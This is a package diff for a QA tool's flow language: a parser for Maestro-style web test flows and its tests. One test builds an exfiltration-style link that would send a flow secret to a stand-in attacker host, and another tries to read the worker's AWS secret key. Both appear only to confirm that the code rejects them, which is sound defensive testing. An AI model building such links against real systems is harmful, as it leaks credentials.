@bugmole/cli 0.4.0

package/src/runtime/flow-language.test.ts

@@ -0,0 +1,268 @@
+import { strict as assert } from "node:assert";
+import test from "node:test";
+import {
+  countFlowSteps,
+  describeAddressForLog,
+  describeLinkForLog,
+  describeStepForLog,
+  interpolateStep,
+  interpolateTemplate,
+  isPatternText,
+  parseMaestroStyleFlow,
+  resolveFlowUrl,
+} from "./flow-language.js";
+
+test("parses the web journey vocabulary a creator flow needs", () => {
+  const flow = parseMaestroStyleFlow(`
+url: http://localhost:3111
+name: creator-editor
+---
+- launchApp
+- openLink: "/studio/editor?show=falling-for-you"
+- tapOn:
+    text: "Lời thoại"
+    index: 1
+- eraseText
+- inputText: "BUGMOLE"
+- assertVisible: ".*BUGMOLE.*"
+- assertNotVisible: "Không tìm thấy"
+- extendedWaitUntil:
+    visible: "Falling For You"
+    timeout: 20000
+- scrollUntilVisible:
+    element: "Lưu bản nháp"
+- takeScreenshot: "after-save"
+- wait: 250
+- pressKey: "Enter"
+`);
+  assert.equal(flow.name, "creator-editor");
+  assert.deepEqual(flow.steps[1], { type: "openLink", url: "/studio/editor?show=falling-for-you" });
+  assert.deepEqual(flow.steps[2], { type: "tapOn", text: "Lời thoại", index: 1, optional: false });
+  assert.deepEqual(flow.steps[5], { type: "assertVisible", text: ".*BUGMOLE.*", timeoutMs: undefined });
+  assert.deepEqual(flow.steps[7], { type: "assertVisible", text: "Falling For You", timeoutMs: 20000 });
+  assert.deepEqual(flow.steps[8], { type: "scrollUntilVisible", text: "Lưu bản nháp" });
+  assert.equal(flow.ignorePageErrors, false);
+});
+
+test("extendedWaitUntil supports waiting for something to disappear", () => {
+  const flow = parseMaestroStyleFlow(`
+url: http://localhost
+---
+- extendedWaitUntil:
+    notVisible: "Đang tải"
+    timeout: 5000
+`);
+  assert.deepEqual(flow.steps[0], { type: "assertNotVisible", text: "Đang tải", timeoutMs: 5000 });
+});
+
+test("a retry block keeps its commands and counts them as real steps", () => {
+  const flow = parseMaestroStyleFlow(`
+url: http://localhost
+---
+- retry:
+    maxRetries: 2
+    commands:
+      - launchApp
+      - assertVisible: "Cinely"
+`);
+  assert.equal(flow.steps.length, 1);
+  assert.equal(countFlowSteps(flow.steps), 2);
+  assert.deepEqual(flow.steps[0], {
+    type: "retry",
+    maxRetries: 2,
+    steps: [{ type: "launchApp" }, { type: "assertVisible", text: "Cinely", timeoutMs: undefined }],
+  });
+});
+
+test("an optional tap is preserved so a flow can skip a prompt that may not appear", () => {
+  const flow = parseMaestroStyleFlow(`
+url: http://localhost
+---
+- tapOn:
+    text: "Not Now"
+    optional: true
+`);
+  assert.deepEqual(flow.steps[0], { type: "tapOn", text: "Not Now", index: 0, optional: true });
+});
+
+test("the driver base URL wins over a mobile appId header so device flows can run on the web", () => {
+  const flow = parseMaestroStyleFlow("appId: com.apple.mobilesafari\n---\n- launchApp\n", "http://localhost:3111");
+  assert.equal(flow.url, "http://localhost:3111");
+});
+
+test("only the .* wildcard idiom is treated as a pattern -- not incidental regex metacharacters in ordinary copy", () => {
+  assert.equal(isPatternText(".*Falling For You.*"), true);
+  assert.equal(isPatternText("Lưu bản nháp"), false);
+  // Real UI text is full of characters that are also regex metacharacters.
+  // None of these should be miscompiled into a pattern.
+  assert.equal(isPatternText("Giá hàng tháng (USD)"), false);
+  assert.equal(isPatternText("$3.99 / tháng"), false);
+  assert.equal(isPatternText("Tiếp tục xem."), false);
+  assert.equal(isPatternText("Thêm dòng (+1)"), false);
+});
+
+test("relative links resolve against the flow base URL and absolute links are left alone", () => {
+  assert.equal(resolveFlowUrl("/studio", "http://localhost:3111/login"), "http://localhost:3111/studio");
+  assert.equal(resolveFlowUrl("http://example.test/x", "http://localhost:3111"), "http://example.test/x");
+});
+
+test("a step missing its required text is rejected rather than silently skipped", () => {
+  assert.throws(() => parseMaestroStyleFlow("url: http://localhost\n---\n- inputText:\n"), /requires text/);
+});
+
+test("a flow can pin the viewport it asserts a layout at", () => {
+  const flow = parseMaestroStyleFlow("url: http://localhost\nviewport: 390x844\n---\n- launchApp\n");
+  assert.deepEqual(flow.viewport, { width: 390, height: 844 });
+});
+
+test("viewport also accepts an explicit width and height", () => {
+  const flow = parseMaestroStyleFlow("url: http://localhost\nviewport:\n  width: 412\n  height: 800\n---\n- launchApp\n");
+  assert.deepEqual(flow.viewport, { width: 412, height: 800 });
+});
+
+test("a flow without a viewport leaves the driver default alone", () => {
+  assert.equal(parseMaestroStyleFlow("url: http://localhost\n---\n- launchApp\n").viewport, undefined);
+});
+
+test("a malformed viewport is rejected rather than silently ignored", () => {
+  assert.throws(() => parseMaestroStyleFlow("url: http://localhost\nviewport: wide\n---\n- launchApp\n"), /viewport/);
+  assert.throws(() => parseMaestroStyleFlow("url: http://localhost\nviewport:\n  width: 0\n  height: 8\n---\n- launchApp\n"), /positive width and height/);
+});
+
+test("assertClickable parses plain text and an object form with an index and timeout", () => {
+  const flow = parseMaestroStyleFlow(`
+url: http://localhost
+---
+- assertClickable: "Xem tất cả"
+- assertClickable:
+    text: "Duplicate label"
+    index: 1
+    timeout: 5000
+`);
+  assert.deepEqual(flow.steps[0], { type: "assertClickable", text: "Xem tất cả", index: 0, timeoutMs: undefined });
+  assert.deepEqual(flow.steps[1], { type: "assertClickable", text: "Duplicate label", index: 1, timeoutMs: 5000 });
+});
+
+test("requestTempEmail defaults its bound name to tempEmail, both bare and object forms", () => {
+  const bare = parseMaestroStyleFlow("url: http://localhost\n---\n- requestTempEmail\n");
+  assert.deepEqual(bare.steps[0], { type: "requestTempEmail", as: "tempEmail" });
+
+  const named = parseMaestroStyleFlow('url: http://localhost\n---\n- requestTempEmail: "signupInbox"\n');
+  assert.deepEqual(named.steps[0], { type: "requestTempEmail", as: "signupInbox" });
+
+  const objectForm = parseMaestroStyleFlow("url: http://localhost\n---\n- requestTempEmail:\n    as: signupInbox\n");
+  assert.deepEqual(objectForm.steps[0], { type: "requestTempEmail", as: "signupInbox" });
+});
+
+test("openEmailLink parses its filters and defaults to the tempEmail inbox", () => {
+  const bare = parseMaestroStyleFlow("url: http://localhost\n---\n- openEmailLink\n");
+  assert.deepEqual(bare.steps[0], { type: "openEmailLink", as: "tempEmail" });
+
+  const withFilters = parseMaestroStyleFlow(`
+url: http://localhost
+---
+- openEmailLink:
+    as: signupInbox
+    from: "cinely.net"
+    subject: "Confirm"
+    match: "confirm"
+    timeout: 20000
+`);
+  assert.deepEqual(withFilters.steps[0], {
+    type: "openEmailLink",
+    as: "signupInbox",
+    from: "cinely.net",
+    subject: "Confirm",
+    match: "confirm",
+    timeoutMs: 20000,
+  });
+});
+
+test("interpolateTemplate substitutes a bound value and leaves plain text alone", () => {
+  assert.equal(interpolateTemplate("plain text with no template", {}), "plain text with no template");
+  assert.equal(interpolateTemplate("sign up with {{tempEmail}}", { tempEmail: "qa@example.test" }), "sign up with qa@example.test");
+});
+
+test("interpolateTemplate fails clearly when a referenced name was never bound", () => {
+  assert.throws(() => interpolateTemplate("{{neverRequested}}", {}), /no step has bound that name yet/);
+});
+
+test("interpolateStep only touches the free-text fields a flow author could have templated", () => {
+  const context = { tempEmail: "qa@example.test" };
+  assert.deepEqual(interpolateStep({ type: "inputText", text: "{{tempEmail}}" }, context), { type: "inputText", text: "qa@example.test" });
+  assert.deepEqual(interpolateStep({ type: "openLink", url: "/welcome?email={{tempEmail}}" }, context), {
+    type: "openLink",
+    url: "/welcome?email=qa@example.test",
+  });
+  // A step with no free-text field (like launchApp) passes through untouched.
+  assert.deepEqual(interpolateStep({ type: "launchApp" }, context), { type: "launchApp" });
+});
+
+test("moves an absolute flow URL onto the selected environment, keeping its path", () => {
+  const content = `url: http://localhost:3000/dashboard?tab=1
+---
+- launchApp
+`;
+  const flow = parseMaestroStyleFlow(content, "https://staging.example.com/app/", { rebaseOrigin: true });
+  assert.equal(flow.url, "https://staging.example.com/app/dashboard?tab=1");
+  assert.equal(flow.rebasedFrom, "http://localhost:3000");
+  // Absolute links to the authored origin follow the move; other hosts do not.
+  assert.equal(
+    resolveFlowUrl("http://localhost:3000/login", flow.url, flow.rebasedFrom, flow.rebasedOnto),
+    "https://staging.example.com/app/login",
+  );
+  assert.equal(
+    resolveFlowUrl("https://accounts.example.org/sso", flow.url, flow.rebasedFrom, flow.rebasedOnto),
+    "https://accounts.example.org/sso",
+  );
+});
+
+test("keeps the flow URL when no environment override is requested", () => {
+  const content = `url: http://localhost:3000/dashboard
+---
+- launchApp
+`;
+  assert.equal(parseMaestroStyleFlow(content, "https://staging.example.com").url, "http://localhost:3000/dashboard");
+  const relative = parseMaestroStyleFlow(`url: /welcome
+---
+- launchApp
+`, "https://staging.example.com/", { rebaseOrigin: true });
+  assert.equal(relative.url, "https://staging.example.com/welcome");
+  assert.equal(relative.rebasedFrom, undefined);
+});
+
+test("typed text is masked wherever a step is described", () => {
+  const described = describeStepForLog({ type: "inputText", text: "hunter2-password" });
+  assert.doesNotMatch(described, /hunter2/);
+  assert.match(described, /16 chars/);
+  const nested = describeStepForLog({
+    type: "retry",
+    maxRetries: 1,
+    steps: [{ type: "tapOn", text: "Password", index: 0, optional: false }, { type: "inputText", text: "s3cret" }],
+  });
+  assert.doesNotMatch(nested, /s3cret/);
+  assert.match(nested, /Password/);
+});
+
+test("email links and inbox addresses are logged without their secrets", () => {
+  assert.equal(describeLinkForLog("https://app.example.com/confirm?token=abc123#x"), "https://app.example.com/confirm?…");
+  assert.equal(describeLinkForLog("https://app.example.com/welcome"), "https://app.example.com/welcome");
+  assert.equal(describeAddressForLog("bugmole-8f2k@mail.tm"), "bu•••@mail.tm");
+});
+
+test("{{secret.NAME}} types a prefixed environment variable, only in inputText", () => {
+  const env = { BUGMOLE_FLOW_SECRET_APP_PASSWORD: "p@ss", AWS_SECRET_ACCESS_KEY: "worker-credential" };
+  assert.equal(interpolateTemplate("{{secret.APP_PASSWORD}}", {}, { allowSecrets: true, env }), "p@ss");
+  // Only the BUGMOLE_FLOW_SECRET_ prefix is readable, never the worker's own credentials.
+  assert.throws(() => interpolateTemplate("{{secret.AWS_SECRET_ACCESS_KEY}}", {}, { allowSecrets: true, env }), /BUGMOLE_FLOW_SECRET_AWS_SECRET_ACCESS_KEY is not set/);
+  assert.throws(() => interpolateTemplate("{{secret.APP_PASSWORD}}", {}, { env }), /only be used in inputText/);
+
+  process.env.BUGMOLE_FLOW_SECRET_TEST_ONLY = "typed-secret";
+  try {
+    assert.deepEqual(interpolateStep({ type: "inputText", text: "{{secret.TEST_ONLY}}" }, {}), { type: "inputText", text: "typed-secret" });
+    assert.throws(() => interpolateStep({ type: "assertVisible", text: "{{secret.TEST_ONLY}}" }, {}), /only be used in inputText/);
+    assert.throws(() => interpolateStep({ type: "openLink", url: "https://evil.example/?k={{secret.TEST_ONLY}}" }, {}), /only be used in inputText/);
+  } finally {
+    delete process.env.BUGMOLE_FLOW_SECRET_TEST_ONLY;
+  }
+});

package/src/runtime/flow-language.ts

@@ -0,0 +1,414 @@
+import YAML from "yaml";
+
+/**
+ * The Maestro-style flow subset this project's web plans author.
+ *
+ * The vocabulary is deliberately declarative: a flow describes what a person
+ * does and sees, never how the page is implemented. Anything that needs page
+ * internals belongs in the application's own test suite, not in a QA flow.
+ */
+export type FlowStep =
+  | { type: "launchApp" }
+  | { type: "stopApp" }
+  | { type: "openLink"; url: string }
+  | { type: "tapOn"; text: string; index: number; optional: boolean }
+  | { type: "inputText"; text: string }
+  | { type: "eraseText" }
+  | { type: "pressKey"; key: string }
+  | { type: "assertVisible"; text: string; timeoutMs?: number }
+  | { type: "assertNotVisible"; text: string; timeoutMs?: number }
+  /**
+   * A stronger claim than assertVisible: the element must be the actual
+   * hit-test target at its own center point, not merely painted somewhere on
+   * screen. Catches a real bug class assertVisible cannot -- an unrelated
+   * fixed-position element (a mascot, a floating action button, a toast)
+   * sitting on top of a link or button and silently swallowing the tap.
+   */
+  | { type: "assertClickable"; text: string; index: number; timeoutMs?: number }
+  | { type: "scrollUntilVisible"; text: string }
+  | { type: "wait"; ms: number }
+  | { type: "takeScreenshot"; name: string }
+  | { type: "retry"; maxRetries: number; steps: FlowStep[] }
+  /**
+   * Creates a real, receivable disposable inbox (see src/integrations/temp-email.ts)
+   * and binds its address to `as` for later steps to reference as `{{as}}` in
+   * any text/url field -- so a signup form can type a real address that a
+   * later `openEmailLink` step can actually receive mail at.
+   */
+  | { type: "requestTempEmail"; as: string }
+  /**
+   * Waits for a message at the inbox bound to `as`, then navigates to the
+   * first link in it (or the first link matching `match`). Real transactional
+   * email routes links through the sending provider's own click-tracking
+   * redirect; this follows that redirect like a person's browser would,
+   * rather than trying to guess the "real" destination underneath it.
+   */
+  | { type: "openEmailLink"; as: string; from?: string; subject?: string; match?: string; timeoutMs?: number };
+
+export type FlowViewport = { width: number; height: number };
+
+export interface ParsedFlow {
+  /** Entry URL used by `launchApp` and by relative `openLink` targets. */
+  url: string;
+  name?: string;
+  /** Emulated viewport, so a flow can pin the width a layout is asserted at. */
+  viewport?: FlowViewport;
+  /**
+   * Uncaught page errors fail a flow by default: a journey that "passes" on a
+   * crashed page is not evidence that the journey works.
+   */
+  ignorePageErrors: boolean;
+  steps: FlowStep[];
+  /**
+   * Origin the flow was authored against, when its header URL was moved onto
+   * another environment. Absolute links to this origin inside the flow follow
+   * the same move; links to any other host are left alone.
+   */
+  rebasedFrom?: string;
+  /** The environment base URL the flow was moved onto (path prefix included). */
+  rebasedOnto?: string;
+}
+
+export type ParseFlowOptions = {
+  /** Move an absolute header URL onto fallbackBaseUrl instead of letting it win. */
+  rebaseOrigin?: boolean;
+};
+
+/**
+ * Joins a URL's path, query, and hash onto another base. The base's own path
+ * is kept as a prefix, so an environment mounted under /app still works.
+ */
+export function rebaseUrl(url: string, baseUrl: string): string {
+  const source = new URL(url);
+  const base = new URL(baseUrl);
+  const prefix = base.pathname.replace(/\/+$/, "");
+  const target = new URL(base.origin);
+  target.pathname = `${prefix}${source.pathname}` || "/";
+  target.search = source.search;
+  target.hash = source.hash;
+  return target.toString();
+}
+
+const defaultWaitMs = 15_000;
+
+function asRecord(value: unknown): Record<string, unknown> | null {
+  return value && typeof value === "object" && !Array.isArray(value) ? (value as Record<string, unknown>) : null;
+}
+
+function requireText(value: unknown, step: string): string {
+  const text = typeof value === "string" ? value : typeof value === "number" ? String(value) : "";
+  if (!text) throw new Error(`Flow step "${step}" requires text.`);
+  return text;
+}
+
+function parseTimeout(value: unknown): number | undefined {
+  const timeout = Number(value);
+  return Number.isFinite(timeout) && timeout > 0 ? timeout : undefined;
+}
+
+/** `viewport: 390x844`, or `{ width, height }`. */
+export function parseViewport(value: unknown): FlowViewport | undefined {
+  if (value === undefined || value === null) return undefined;
+  if (typeof value === "string") {
+    const match = /^(\d{2,5})\s*[x×]\s*(\d{2,5})$/i.exec(value.trim());
+    if (!match) throw new Error(`Flow header 'viewport' must look like "390x844", received "${value}".`);
+    return { width: Number(match[1]), height: Number(match[2]) };
+  }
+  const record = asRecord(value);
+  const width = Number(record?.width);
+  const height = Number(record?.height);
+  if (!Number.isFinite(width) || !Number.isFinite(height) || width <= 0 || height <= 0) {
+    throw new Error("Flow header 'viewport' requires a positive width and height.");
+  }
+  return { width, height };
+}
+
+function parseStep(raw: unknown): FlowStep {
+  if (typeof raw === "string") {
+    if (raw === "launchApp") return { type: "launchApp" };
+    if (raw === "stopApp") return { type: "stopApp" };
+    if (raw === "eraseText") return { type: "eraseText" };
+    if (raw === "requestTempEmail") return { type: "requestTempEmail", as: "tempEmail" };
+    if (raw === "openEmailLink") return { type: "openEmailLink", as: "tempEmail" };
+    // Maestro waits for animations before asserting; the web driver's
+    // auto-waiting locators already cover this, so it is a no-op pause.
+    if (raw === "waitForAnimationToEnd") return { type: "wait", ms: 300 };
+    throw new Error(`Unsupported flow step for the web driver: ${JSON.stringify(raw)}`);
+  }
+
+  const record = asRecord(raw);
+  if (!record) throw new Error(`Unsupported flow step for the web driver: ${JSON.stringify(raw)}`);
+
+  if ("openLink" in record) {
+    const value = asRecord(record.openLink);
+    return { type: "openLink", url: requireText(value ? value.link : record.openLink, "openLink") };
+  }
+  if ("tapOn" in record) {
+    const value = asRecord(record.tapOn);
+    const text = requireText(value ? (value.text ?? value.id ?? value.label) : record.tapOn, "tapOn");
+    const index = value && Number.isInteger(Number(value.index)) ? Number(value.index) : 0;
+    return { type: "tapOn", text, index, optional: Boolean(value?.optional) };
+  }
+  if ("inputText" in record) return { type: "inputText", text: requireText(record.inputText, "inputText") };
+  if ("eraseText" in record) return { type: "eraseText" };
+  if ("pressKey" in record) return { type: "pressKey", key: requireText(record.pressKey, "pressKey") };
+  if ("assertVisible" in record) {
+    const value = asRecord(record.assertVisible);
+    return {
+      type: "assertVisible",
+      text: requireText(value ? value.text : record.assertVisible, "assertVisible"),
+      timeoutMs: parseTimeout(value?.timeout),
+    };
+  }
+  if ("assertClickable" in record) {
+    const value = asRecord(record.assertClickable);
+    const index = value && Number.isInteger(Number(value.index)) ? Number(value.index) : 0;
+    return {
+      type: "assertClickable",
+      text: requireText(value ? value.text : record.assertClickable, "assertClickable"),
+      index,
+      timeoutMs: parseTimeout(value?.timeout),
+    };
+  }
+  if ("assertNotVisible" in record) {
+    const value = asRecord(record.assertNotVisible);
+    return {
+      type: "assertNotVisible",
+      text: requireText(value ? value.text : record.assertNotVisible, "assertNotVisible"),
+      timeoutMs: parseTimeout(value?.timeout),
+    };
+  }
+  if ("extendedWaitUntil" in record) {
+    const value = asRecord(record.extendedWaitUntil);
+    if (!value) throw new Error('Flow step "extendedWaitUntil" requires visible or notVisible.');
+    const timeoutMs = parseTimeout(value.timeout) ?? defaultWaitMs;
+    if (value.notVisible !== undefined) {
+      return { type: "assertNotVisible", text: requireText(value.notVisible, "extendedWaitUntil"), timeoutMs };
+    }
+    return { type: "assertVisible", text: requireText(value.visible, "extendedWaitUntil"), timeoutMs };
+  }
+  if ("scrollUntilVisible" in record) {
+    const value = asRecord(record.scrollUntilVisible);
+    return { type: "scrollUntilVisible", text: requireText(value ? value.element : record.scrollUntilVisible, "scrollUntilVisible") };
+  }
+  if ("wait" in record) {
+    const ms = parseTimeout(record.wait);
+    if (!ms) throw new Error('Flow step "wait" requires a positive duration in milliseconds.');
+    return { type: "wait", ms };
+  }
+  if ("takeScreenshot" in record) {
+    const value = asRecord(record.takeScreenshot);
+    return { type: "takeScreenshot", name: requireText(value ? value.path : record.takeScreenshot, "takeScreenshot") };
+  }
+  if ("requestTempEmail" in record) {
+    const value = record.requestTempEmail;
+    const as = typeof value === "string" ? value : asRecord(value)?.as;
+    return { type: "requestTempEmail", as: typeof as === "string" && as ? as : "tempEmail" };
+  }
+  if ("openEmailLink" in record) {
+    const value = asRecord(record.openEmailLink) ?? {};
+    return {
+      type: "openEmailLink",
+      as: typeof value.as === "string" && value.as ? value.as : "tempEmail",
+      from: typeof value.from === "string" ? value.from : undefined,
+      subject: typeof value.subject === "string" ? value.subject : undefined,
+      match: typeof value.match === "string" ? value.match : undefined,
+      timeoutMs: parseTimeout(value.timeout),
+    };
+  }
+  if ("retry" in record) {
+    const value = asRecord(record.retry);
+    if (!value || !Array.isArray(value.commands)) throw new Error('Flow step "retry" requires a commands list.');
+    const maxRetries = Number.isInteger(Number(value.maxRetries)) ? Math.max(0, Number(value.maxRetries)) : 1;
+    return { type: "retry", maxRetries, steps: value.commands.map(parseStep) };
+  }
+
+  throw new Error(`Unsupported flow step for the web driver: ${JSON.stringify(raw)}`);
+}
+
+export function parseMaestroStyleFlow(content: string, fallbackBaseUrl?: string, options: ParseFlowOptions = {}): ParsedFlow {
+  const documents = content
+    .split(/^---\s*$/m)
+    .map((doc) => doc.trim())
+    .filter(Boolean);
+  if (documents.length < 2) {
+    throw new Error("Flow file must have a header document and a steps document separated by '---'.");
+  }
+  const header = (YAML.parse(documents[0]) ?? {}) as { url?: string; appId?: string; name?: string; ignorePageErrors?: boolean; viewport?: unknown };
+  const stepsRaw: unknown = YAML.parse(documents[1]);
+  if (!Array.isArray(stepsRaw)) {
+    throw new Error("Flow steps document must be a YAML list.");
+  }
+  let url = header.url || fallbackBaseUrl || header.appId;
+  if (!url) {
+    throw new Error("Flow header must declare 'url' (or 'appId'), or the driver target must provide a base URL.");
+  }
+  let rebasedFrom: string | undefined;
+  if (options.rebaseOrigin && fallbackBaseUrl && header.url) {
+    if (/^[a-z][a-z0-9+.-]*:/i.test(header.url)) {
+      rebasedFrom = new URL(header.url).origin;
+      url = rebaseUrl(header.url, fallbackBaseUrl);
+    } else {
+      url = new URL(header.url, fallbackBaseUrl).toString();
+    }
+  }
+  return {
+    url: String(url),
+    ...(rebasedFrom ? { rebasedFrom, rebasedOnto: fallbackBaseUrl } : {}),
+    name: header.name,
+    viewport: parseViewport(header.viewport),
+    ignorePageErrors: header.ignorePageErrors === true,
+    steps: stepsRaw.map(parseStep),
+  };
+}
+
+/** Flattens `retry` blocks so callers can count the steps a flow will run. */
+export function countFlowSteps(steps: readonly FlowStep[]): number {
+  return steps.reduce((total, step) => total + (step.type === "retry" ? countFlowSteps(step.steps) : 1), 0);
+}
+
+/**
+ * Maestro matches element text as a regular expression, but real UI copy is
+ * full of characters that are also regex metacharacters -- periods, dollar
+ * signs, parentheses, plus signs -- and flow authors should never have to
+ * escape ordinary text to assert it. Treating any of those as a pattern
+ * signal is actively wrong: it silently miscompiles copy like "(USD)" into a
+ * capture group that no longer matches the literal parentheses. `.*` (the
+ * "contains" wildcard) is the one idiom every flow in this project's own
+ * authoring convention actually uses to signal real pattern intent, so it is
+ * the only signal trusted here.
+ */
+export function isPatternText(text: string): boolean {
+  return text.includes(".*");
+}
+
+/** Environment variables a flow may type via `{{secret.NAME}}`. */
+export const FLOW_SECRET_ENV_PREFIX = "BUGMOLE_FLOW_SECRET_";
+
+export type InterpolateOptions = {
+  /** Allow `{{secret.NAME}}`. Only typed text may carry a secret. */
+  allowSecrets?: boolean;
+  env?: Readonly<Record<string, string | undefined>>;
+};
+
+/**
+ * Substitutes `{{name}}` tokens with a value bound earlier in the same flow
+ * (currently, only requestTempEmail binds one). Plain text with no template
+ * syntax passes through untouched; a reference to a name nothing bound yet
+ * fails loudly rather than typing the literal "{{name}}" into a form.
+ *
+ * `{{secret.NAME}}` types the environment variable BUGMOLE_FLOW_SECRET_NAME,
+ * so a flow never needs a literal password. Only that prefix is readable: a
+ * flow must not be able to pull the worker's own credentials into a page.
+ */
+export function interpolateTemplate(
+  text: string,
+  context: Readonly<Record<string, string>>,
+  options: InterpolateOptions = {},
+): string {
+  return text.replace(/\{\{\s*(secret\.)?([a-zA-Z0-9_]+)\s*\}\}/g, (whole, secret: string | undefined, name: string) => {
+    if (secret) {
+      if (!options.allowSecrets) {
+        throw new Error(`"{{secret.${name}}}" can only be used in inputText, so the secret is typed and never shown or logged.`);
+      }
+      const variable = `${FLOW_SECRET_ENV_PREFIX}${name}`;
+      const value = (options.env ?? process.env)[variable];
+      if (value === undefined || value === "") {
+        throw new Error(`Flow references "{{secret.${name}}}", but ${variable} is not set on this worker.`);
+      }
+      return value;
+    }
+    if (!(name in context)) {
+      throw new Error(`Flow references "{{${name}}}", but no step has bound that name yet (e.g. requestTempEmail: "${name}").`);
+    }
+    return context[name];
+  });
+}
+
+/**
+ * A step as it may appear in logs, step results, and uploaded evidence: typed
+ * text is masked, because it is where passwords and personal data go.
+ */
+export function describeStepForLog(step: FlowStep): string {
+  const redact = (value: FlowStep): FlowStep => {
+    if (value.type === "inputText") return { ...value, text: `•••• (${value.text.length} chars)` };
+    if (value.type === "retry") return { ...value, steps: value.steps.map(redact) };
+    return value;
+  };
+  return JSON.stringify(redact(step));
+}
+
+/** A step as a short sentence for traces and timelines. Typed text is masked. */
+export function describeStepLabel(step: FlowStep): string {
+  switch (step.type) {
+    case "launchApp": return "Open the app";
+    case "stopApp": return "Close the app";
+    case "openLink": return `Go to ${step.url}`;
+    case "tapOn": return `Tap “${step.text}”${step.optional ? " (if shown)" : ""}`;
+    case "inputText": return `Type ${"•".repeat(Math.min(step.text.length, 8))}`;
+    case "eraseText": return "Clear the field";
+    case "pressKey": return `Press ${step.key}`;
+    case "assertVisible": return `See “${step.text}”`;
+    case "assertNotVisible": return `No “${step.text}”`;
+    case "assertClickable": return `“${step.text}” is clickable`;
+    case "scrollUntilVisible": return `Scroll to “${step.text}”`;
+    case "wait": return `Wait ${step.ms}ms`;
+    case "takeScreenshot": return `Screenshot “${step.name}”`;
+    case "retry": return `Retry ${step.steps.length} step(s) up to ${step.maxRetries}×`;
+    case "requestTempEmail": return "Create a test inbox";
+    case "openEmailLink": return "Open the link from the email";
+  }
+}
+
+/** An email link with its query and fragment (usually a one-time token) removed. */
+export function describeLinkForLog(link: string): string {
+  try {
+    const url = new URL(link);
+    const hidden = url.search || url.hash ? "?…" : "";
+    return `${url.origin}${url.pathname}${hidden}`;
+  } catch {
+    return "(unparseable link)";
+  }
+}
+
+/** A disposable inbox address with most of its local part hidden. */
+export function describeAddressForLog(address: string): string {
+  const [local = "", domain = ""] = address.split("@");
+  return `${local.slice(0, 2)}•••@${domain}`;
+}
+
+/**
+ * Applies interpolateTemplate to every free-text field a flow author could
+ * have templated. `retry`'s nested steps are deliberately left alone here --
+ * the driver interpolates each one individually as it actually executes it.
+ */
+export function interpolateStep(step: FlowStep, context: Readonly<Record<string, string>>): FlowStep {
+  switch (step.type) {
+    case "tapOn":
+      return { ...step, text: interpolateTemplate(step.text, context) };
+    case "inputText":
+      return { ...step, text: interpolateTemplate(step.text, context, { allowSecrets: true }) };
+    case "assertVisible":
+      return { ...step, text: interpolateTemplate(step.text, context) };
+    case "assertNotVisible":
+      return { ...step, text: interpolateTemplate(step.text, context) };
+    case "assertClickable":
+      return { ...step, text: interpolateTemplate(step.text, context) };
+    case "scrollUntilVisible":
+      return { ...step, text: interpolateTemplate(step.text, context) };
+    case "openLink":
+      return { ...step, url: interpolateTemplate(step.url, context) };
+    default:
+      return step;
+  }
+}
+
+export function resolveFlowUrl(target: string, baseUrl: string, rebasedFrom?: string, rebasedOnto?: string): string {
+  if (/^[a-z][a-z0-9+.-]*:/i.test(target)) {
+    if (rebasedFrom && /^https?:/i.test(target) && new URL(target).origin === rebasedFrom) {
+      return rebaseUrl(target, rebasedOnto ?? new URL(baseUrl).origin);
+    }
+    return target;
+  }
+  return new URL(target, baseUrl).toString();
+}